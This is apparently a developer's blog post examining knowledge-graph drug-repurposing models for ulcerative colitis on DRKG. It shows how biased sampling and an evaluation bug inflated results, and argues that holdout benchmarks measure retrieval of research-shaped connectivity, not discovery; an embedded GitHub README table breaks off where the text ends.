&lt;p&gt;I decided to build one for UC. I realise that the decision of going through this whole exercise was ambitious but it wasn't to personally discover a treatment, but to find out whether the approach actually works. Whether "45% of known treatments recovered" is a meaningful statement about drug discovery or a meaningless statement about graph retrieval. What I found was more interesting than any drug prediction could have been.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;A knowledge graph stores facts as triples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(Infliximab,    binds,            TNF-alpha)
(TNF-alpha,     associated_with,  Ulcerative Colitis)
(Azathioprine,  treats,           Ulcerative Colitis)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Millions of these (drugs, genes, proteins, pathways, diseases) linked into one enormous network.&lt;/p&gt;

&lt;p&gt;I used &lt;strong&gt;DRKG&lt;/strong&gt; (Drug Repurposing Knowledge Graph), compiled by Amazon and several universities from six curated biomedical databases:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it captures&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DrugBank&lt;/td&gt;
&lt;td&gt;Drug-target interactions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hetionet&lt;/td&gt;
&lt;td&gt;Disease-gene relationships&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STRING&lt;/td&gt;
&lt;td&gt;Protein-protein interactions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+ 3 others&lt;/td&gt;
&lt;td&gt;Pathways, side effects, pharmacology&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;97,000&lt;/strong&gt; entities · &lt;strong&gt;5.9M&lt;/strong&gt; edges · &lt;strong&gt;107&lt;/strong&gt; relationship types. Biomedical knowledge as it existed circa 2020.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Every entity becomes a vector in high-dimensional space. Train the model so known-true facts score high and random corruptions score low:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(Infliximab, binds, TNF-alpha)    → TRUE    → push score UP
(Infliximab, binds, Hemoglobin)   → FALSE   → push score DOWN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Repeat millions of times. The vectors shift until geometry encodes biology. Drugs treating similar diseases cluster together. The "treats" relationship becomes a learned geometric transformation. Score every drug against UC and you get a ranked list of candidates.&lt;/p&gt;

&lt;p&gt;The experiment that makes this rigorous: remove all &lt;strong&gt;108&lt;/strong&gt; known "drug treats ulcerative colitis" edges. Train on the remaining 5.9M edges. Ask: can the model recover those drugs using only indirect paths?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If infliximab (whose "treats UC" edge was removed) still ranks high because the model learned &lt;code&gt;infliximab → TNF-alpha → inflammatory pathways → UC&lt;/code&gt;, then it has learned meaningful biological structure.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Three models (&lt;strong&gt;TransE&lt;/strong&gt;, &lt;strong&gt;ComplEx&lt;/strong&gt;, &lt;strong&gt;RotatE&lt;/strong&gt;) trained on a P100 GPU, each with different geometric scoring functions. The metric: &lt;strong&gt;Hits@K&lt;/strong&gt;, what fraction of held-out drugs land in the top K predictions?&lt;/p&gt;


&lt;h2&gt;
  
  
  The First Results Looked Great
&lt;/h2&gt;

&lt;p&gt;Training embeddings on 5.9 million edges is slow and expensive, so I started with a smaller subgraph: 250,000 triples sampled via breadth-first search from UC and the holdout drugs. 128-dimensional embeddings, 30 epochs, basic negative sampling. Standard recipe. On that subgraph, RotatE recovered 45% of known UC treatments in the top 100 out of roughly 5,850 compounds. By any published standard, this is a strong result.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Drug&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;th&gt;Rank (out of 5,850)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cyclosporine&lt;/td&gt;
&lt;td&gt;Immunosuppressant&lt;/td&gt;
&lt;td&gt;#1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infliximab&lt;/td&gt;
&lt;td&gt;Anti-TNF biologic&lt;/td&gt;
&lt;td&gt;#9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prednisone&lt;/td&gt;
&lt;td&gt;Corticosteroid&lt;/td&gt;
&lt;td&gt;#54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azathioprine&lt;/td&gt;
&lt;td&gt;Immunosuppressant&lt;/td&gt;
&lt;td&gt;#105&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Methotrexate&lt;/td&gt;
&lt;td&gt;Anti-inflammatory / chemo agent&lt;/td&gt;
&lt;td&gt;#133&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Real UC drugs, ranked near the top, without the model ever being told they treat UC. It felt like the system was working.&lt;/p&gt;

&lt;p&gt;Then I trained on the full 5.9-million-edge graph, 23 times more data, with 256-dimensional embeddings. The results didn't improve. They collapsed.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Drug&lt;/th&gt;
&lt;th&gt;Subgraph rank&lt;/th&gt;
&lt;th&gt;Full graph rank&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cyclosporine&lt;/td&gt;
&lt;td&gt;#1&lt;/td&gt;
&lt;td&gt;#1,683&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infliximab&lt;/td&gt;
&lt;td&gt;#9&lt;/td&gt;
&lt;td&gt;#5,449&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prednisone&lt;/td&gt;
&lt;td&gt;#54&lt;/td&gt;
&lt;td&gt;#3,970&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azathioprine&lt;/td&gt;
&lt;td&gt;#105&lt;/td&gt;
&lt;td&gt;#4,863&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Methotrexate&lt;/td&gt;
&lt;td&gt;#133&lt;/td&gt;
&lt;td&gt;#7,786&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Hits@100 dropped from 45.4% to 2.8%. 105 of 108 held-out drugs degraded. "More data = better" is one of the most reliable heuristics in machine learning. When it fails this catastrophically, something structural is wrong. Either the subgraph numbers were inflated, or the full graph training was broken, or both. I spent some time finding out which.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Honest Numbers
&lt;/h2&gt;

&lt;p&gt;Both. Two problems, compounding each other.&lt;/p&gt;

&lt;p&gt;First, the subgraph was sampled starting from the drugs I was trying to predict, which meant the graph was built around the answer. I redesigned it from scratch: start from the disease itself and take its biological neighborhood, every edge touching a direct neighbor of UC. No random cap, no circular seeding. The graph composition changed fundamentally.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Original (flawed)&lt;/th&gt;
&lt;th&gt;Redesigned&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sampling seed&lt;/td&gt;
&lt;td&gt;108 holdout drugs + UC&lt;/td&gt;
&lt;td&gt;UC disease nodes only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Drug-drug interaction edges&lt;/td&gt;
&lt;td&gt;37.1%&lt;/td&gt;
&lt;td&gt;0.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gene-gene edges&lt;/td&gt;
&lt;td&gt;27.0%&lt;/td&gt;
&lt;td&gt;57.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Training triples&lt;/td&gt;
&lt;td&gt;250,000 (randomly capped)&lt;/td&gt;
&lt;td&gt;409,826 (natural size)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Second, the evaluation protocol itself was broken.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
  The entity map bug
  &lt;br&gt;
The entity-to-embedding lookup table was built from training and holdout triples combined. So drugs whose only edge was "treats UC" still got an embedding vector even after that edge was removed. Zero training signal, randomly initialized, never updated. Three such drugs ranked in our top 7 by pure luck.

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Rebuilt the entity map from training triples only. Evaluated only the 91 drugs reachable from UC through indirect paths.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Third, the training was undertrained. I upgraded the negative sampling strategy, embedding dimensions, and epoch count: the specifics are in the table below. Then retrained on both graphs.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Original runs&lt;/th&gt;
&lt;th&gt;Redesigned runs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Embedding dim&lt;/td&gt;
&lt;td&gt;128 (subgraph) / 256 (full)&lt;/td&gt;
&lt;td&gt;128 (subgraph) / 400 (full)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Epochs&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Negatives per positive&lt;/td&gt;
&lt;td&gt;1 (uniform)&lt;/td&gt;
&lt;td&gt;256 (NSSA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evaluation&lt;/td&gt;
&lt;td&gt;All 108 holdout drugs&lt;/td&gt;
&lt;td&gt;91 reachable only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuration&lt;/th&gt;
&lt;th&gt;Training triples&lt;/th&gt;
&lt;th&gt;Hits@100&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Original subgraph&lt;/td&gt;
&lt;td&gt;250,000&lt;/td&gt;
&lt;td&gt;45.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full DRKG (original training)&lt;/td&gt;
&lt;td&gt;5,874,125&lt;/td&gt;
&lt;td&gt;2.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redesigned subgraph (rebuilt)&lt;/td&gt;
&lt;td&gt;409,826&lt;/td&gt;
&lt;td&gt;12.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full DRKG (rebuilt)&lt;/td&gt;
&lt;td&gt;5,874,125&lt;/td&gt;
&lt;td&gt;17.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first two rows used the same protocol: biased subgraph sampling, basic negative sampling, and the entity map bug. The subgraph looked great, the full graph collapsed. The bottom two rows fixed all three problems. The 45% was an artifact of biased sampling and a graph dominated by drug-drug interaction edges that clustered compounds by pharmacological class rather than therapeutic relevance. The full graph's jump from 2.8% to 17.6% came from better training, harder negatives, and honest evaluation combined.&lt;/p&gt;

&lt;p&gt;When I examined which drugs the model learned, the pattern was stark:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Drug connectivity&lt;/th&gt;
&lt;th&gt;# drugs&lt;/th&gt;
&lt;th&gt;Hits@100&lt;/th&gt;
&lt;th&gt;Interpretation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;High (51+ training edges)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;62.5%&lt;/td&gt;
&lt;td&gt;Model learned these&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Medium (11-50 edges)&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;13.2%&lt;/td&gt;
&lt;td&gt;Weak signal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Low (1-10 edges)&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;2.2%&lt;/td&gt;
&lt;td&gt;Essentially random&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dexamethasone, a corticosteroid used to suppress inflammation, has 120 edges connecting it to dozens of UC-relevant genes. It ranked #11. The model had rich context to work with: a well-studied drug connected through multiple pathways to UC's gene network. Theobromine, the stimulant in chocolate with a single edge in the graph, ranked #5,611. The model cannot learn a useful embedding from one data point.&lt;/p&gt;

&lt;p&gt;If the model is really just ranking by connectivity, that should be measurable. So I checked how well a drug's number of training edges predicts its rank:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Spearman rank correlation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Spearman(drug_degree, predicted_rank)&lt;/code&gt; = -0.74&lt;/p&gt;

&lt;p&gt;Where &lt;code&gt;drug_degree&lt;/code&gt; = number of training edges, &lt;code&gt;predicted_rank&lt;/code&gt; = model's ranking for UC.&lt;/p&gt;

&lt;p&gt;Scale: &lt;strong&gt;-1.0&lt;/strong&gt; = ranks purely by connectivity, &lt;strong&gt;0.0&lt;/strong&gt; = degree has no influence.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not by learned biological insight. By connectivity.&lt;/p&gt;

&lt;p&gt;This might seem like a model failure. Maybe better hyperparameters would learn deeper patterns. But connectivity isn't a confound to be removed. It IS the signal.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Core Finding: Epistemological Circularity
&lt;/h2&gt;

&lt;p&gt;The model ranks by connectivity because the graph already encodes the answer.&lt;/p&gt;

&lt;p&gt;Consider the held-out drugs, the ones whose "treats UC" edges I removed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key finding&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Holdout drugs share an average of &lt;strong&gt;11.3&lt;/strong&gt; gene neighbors with UC. All other compounds: &lt;strong&gt;0.6&lt;/strong&gt;. That's a 19x gap, and it exists before any model touches the data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The graph already separates known UC drugs from everything else through indirect structure alone.&lt;/p&gt;

&lt;p&gt;Why? Because drugs that treat UC have been extensively studied in the context of UC. Every study produces edges: drug targets this gene, this gene is associated with UC, this pathway is relevant to inflammation. The more a drug has been researched for UC, the more indirect connections it accumulates in the graph. High connectivity isn't an independent feature; it's a direct consequence of being a known UC treatment.&lt;/p&gt;

&lt;p&gt;Here's the causal chain, using infliximab (an anti-TNF biologic I actually take for UC) as a concrete example:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What actually happened&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Clinical trials in the 1990s-2000s → clinicians discover infliximab treats UC → researchers study &lt;em&gt;why&lt;/em&gt; it works → infliximab binds TNF-alpha (published) → TNF-alpha linked to UC (published) → all of this enters DRKG as separate edges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I asked the model to do&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Drug&lt;/th&gt;
&lt;th&gt;Relationship&lt;/th&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;del&gt;infliximab&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;del&gt;treats&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;del&gt;UC&lt;/del&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;infliximab&lt;/td&gt;
&lt;td&gt;binds&lt;/td&gt;
&lt;td&gt;TNF-alpha&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TNF-alpha&lt;/td&gt;
&lt;td&gt;associated_with&lt;/td&gt;
&lt;td&gt;UC&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Model "discovers": infliximab should treat UC. The path only exists because clinicians already discovered the treatment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This isn't data leakage in the ML sense. I correctly removed the target edges. The holdout is technically clean. It's a deeper problem: epistemological circularity. Epistemology is how we know what we know, and the circularity here is that the evidence we're using to "predict" the answer was only generated because someone already knew the answer. The features used for prediction were placed in the graph by the same human research process that established the answer. The Drug → Gene and Gene → Disease edges are consequences of the Drug → Disease relationship I'm trying to "predict."&lt;/p&gt;

&lt;p&gt;Every structure-aware method picks up this signal because it's baked into the graph topology. To confirm, I ran Personalized PageRank, a textbook graph algorithm that reads graph proximity with zero learning. Two minutes on my Mac.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Training time&lt;/th&gt;
&lt;th&gt;Hits@100&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RotatE (400d, NSSA, P100 GPU)&lt;/td&gt;
&lt;td&gt;~8 hours&lt;/td&gt;
&lt;td&gt;17.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Personalized PageRank&lt;/td&gt;
&lt;td&gt;~2 minutes&lt;/td&gt;
&lt;td&gt;34.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A method with no training, no embeddings, no GPU doubles the best embedding model. It just reads the structure that's already there.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Holdout evaluation on curated knowledge graphs measures retrieval efficiency, not discovery potential. High Hits@K tells you your method can read what's already in the graph. It does not tell you it can find anything new.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  This Isn't Just a Bio Problem
&lt;/h2&gt;

&lt;p&gt;The same circularity appears wherever knowledge graphs meet prediction tasks, including in deployed production systems.&lt;/p&gt;

&lt;p&gt;The most celebrated success story in KG drug repurposing illustrates it perfectly. In February 2020, days after the WHO declared COVID-19 a public health emergency, BenevolentAI published a prediction in The Lancet: baricitinib, a JAK inhibitor approved for rheumatoid arthritis, could treat COVID-19 by blocking viral entry through AAK1 inhibition. They identified it in 48 hours using their biomedical knowledge graph. The drug received FDA emergency authorization in November 2020 and full approval in 2022. It works. Patients are alive because of this prediction.&lt;/p&gt;

&lt;p&gt;But every edge in their reasoning chain was already in published literature:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Edge&lt;/th&gt;
&lt;th&gt;Published&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Baricitinib binds AAK1&lt;/td&gt;
&lt;td&gt;2016, Sorrell et al., &lt;em&gt;Structure&lt;/em&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AAK1 role in viral endocytosis&lt;/td&gt;
&lt;td&gt;2017, Bekerman et al., &lt;em&gt;J. Clinical Investigation&lt;/em&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coronaviruses use endocytic entry&lt;/td&gt;
&lt;td&gt;Established virology textbook knowledge&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Derek Lowe, the medicinal chemist who writes for Science/AAAS, called it "more a testimony to good literature searching and curation" than a triumph of artificial intelligence. Timothy Cernak at Michigan said most medicinal chemists could have identified the molecule using traditional database searches. The KG's genuine contribution was speed (systematic retrieval under extreme time pressure), not discovery of a connection hidden from human experts.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Not just bio&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Amazon found the same circularity in product recommendations. When they built a commonsense knowledge graph (COSMO), 91% of the reasoning their system generated was circular or tautological, explaining that products are related "because customers buy them together," which is the input fact, not an explanation. They built an entire multi-stage filtering pipeline to strip it out.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The pattern generalizes. If the same human research process that created your labels also shaped your features, your benchmark measures memory, not prediction. This applies to any task built on curated knowledge bases, any holdout evaluation where the test items are well-studied, any link prediction on a graph assembled by domain experts. It does not apply where labels are naturally generated (user clicks, sensor readings) or where features are genuinely independent of the labeling process.&lt;/p&gt;


&lt;h2&gt;
  
  
  What Would Real Discovery Look Like?
&lt;/h2&gt;

&lt;p&gt;Three approaches would address the circularity:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Temporal holdout.&lt;/strong&gt; Train on knowledge available before year X. Predict treatments approved after year X. If the model identifies drugs from post-X research using only pre-X graph structure, it's genuinely discovering something that wasn't already encoded. DRKG doesn't provide edge timestamps, but versioned knowledge graphs could be constructed from dated database releases and publication records. This is the cleanest experimental design because it mirrors what real drug discovery requires: predicting the future from the past.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Novel-target evaluation.&lt;/strong&gt; Evaluate only on drugs with zero existing graph connection to the target disease. No shared genes, no pathway overlap, no indirect paths. If a model predicts such a drug and it turns out to work, that's prediction in the truest sense. Current benchmarks never test this because every structure-aware method scores disconnected drugs randomly. But that's precisely the frontier where computational methods could add value that humans can't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;External prospective validation.&lt;/strong&gt; Score novel candidates and check against ClinicalTrials.gov for active trials the model wasn't told about.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
  What happened when I tried this
  &lt;br&gt;
I ran my model's top 100 novel predictions through a clinical plausibility review. 59 of them were oncology drugs. A sample of what ranked in the top 50:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Irinotecan&lt;/strong&gt; (rank 23): a chemotherapy agent that appears in IBD clinical guidelines as a drug to watch for causing intestinal damage, not one for treating it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hydroxyurea&lt;/strong&gt; (rank 46): documented in case literature as a cause of intestinal injury that resolves when the drug is stopped.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Indomethacin&lt;/strong&gt; (rank 16): an NSAID. IBD patients are told to avoid this drug class because it tends to worsen the disease.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The model has no mechanism to distinguish "this drug is connected to UC inflammation research" from "this drug would help someone with UC." Those look identical in the graph.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;



&lt;p&gt;When I ran my model's top novel predictions through a clinical plausibility review, 51 of the first 100 were flatly implausible. Not "probably not useful": actively contraindicated. Drugs that damage the gut. Drugs that worsen the disease. Mitomycin C at rank 14, a compound used in laboratory experiments to induce the condition I was trying to treat. Zero of 100 received a high plausibility rating.&lt;/p&gt;

&lt;p&gt;The honest answer to "does this work" is: it works at something. Retrieving drugs already connected to UC in the graph: yes. Finding treatments that aren't already encoded in the data: no demonstrated evidence. Those are different tasks. For the first task, you don't need a trained embedding. PageRank does it better in two minutes. For the second task, you need a different benchmark entirely.&lt;/p&gt;

&lt;p&gt;What that benchmark looks like is the more interesting question. I don't have the answer yet, but for the first time, I have the right question. That's probably the right outcome for a software engineer with a disease who decided to go poking around in biomedical ML.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/sushrut1058" rel="noopener noreferrer"&gt;
        sushrut1058
      &lt;/a&gt; / &lt;a href="https://github.com/sushrut1058/knowledge-graph-circularity" rel="noopener noreferrer"&gt;
        knowledge-graph-circularity
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Holdout evaluation for biomedical KG embeddings on DRKG — RotatE, degree-stratified Hits@K, and PageRank baselines exposing circularity in drug-repurposing benchmarks.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Epistemological circularity in KG drug repurposing&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;Code and result tables for holdout evaluation of knowledge-graph embeddings ranking ulcerative colitis treatments on DRKG.&lt;/p&gt;

&lt;p&gt;On DRKG, &lt;strong&gt;Personalized PageRank beat full-graph RotatE&lt;/strong&gt; (Hits@100 &lt;strong&gt;34.1%&lt;/strong&gt; vs &lt;strong&gt;17.6%&lt;/strong&gt;). Holdout Hits@K on a curated biomedical graph mostly measures retrieval of research-shaped connectivity, not discovery.&lt;/p&gt;

&lt;p&gt;This repo is small on purpose (~280 KB checked in). No model weights. No DRKG dump — just the code, configs, and metric/ranking tables for the reported numbers.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Results → files&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;table&gt;

&lt;thead&gt;

&lt;tr&gt;

&lt;th&gt;Claim&lt;/th&gt;

&lt;th&gt;File&lt;/th&gt;

&lt;/tr&gt;

&lt;/thead&gt;

&lt;tbody&gt;

&lt;tr&gt;

&lt;td&gt;Original subgraph RotatE · 45.4% Hits@100&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/original_subgraph_rotate.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Original full DRKG RotatE · 2.8%&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/original_full_drkg_rotate.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Redesigned subgraph RotatE · 12.1%&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/redesigned_subgraph_rotate.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Full DRKG RotatE (rebuilt) · 17.6%&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/full_drkg_rotate.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;That run’s training card (~8.1 h, dim 400, 50 ep)&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/full_drkg_rotate_run.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Personalized PageRank · 34.1%&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/personalized_pagerank.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;91 reachable / 17 unreachable freeze&lt;/td&gt;

&lt;td&gt;
&lt;br&gt;
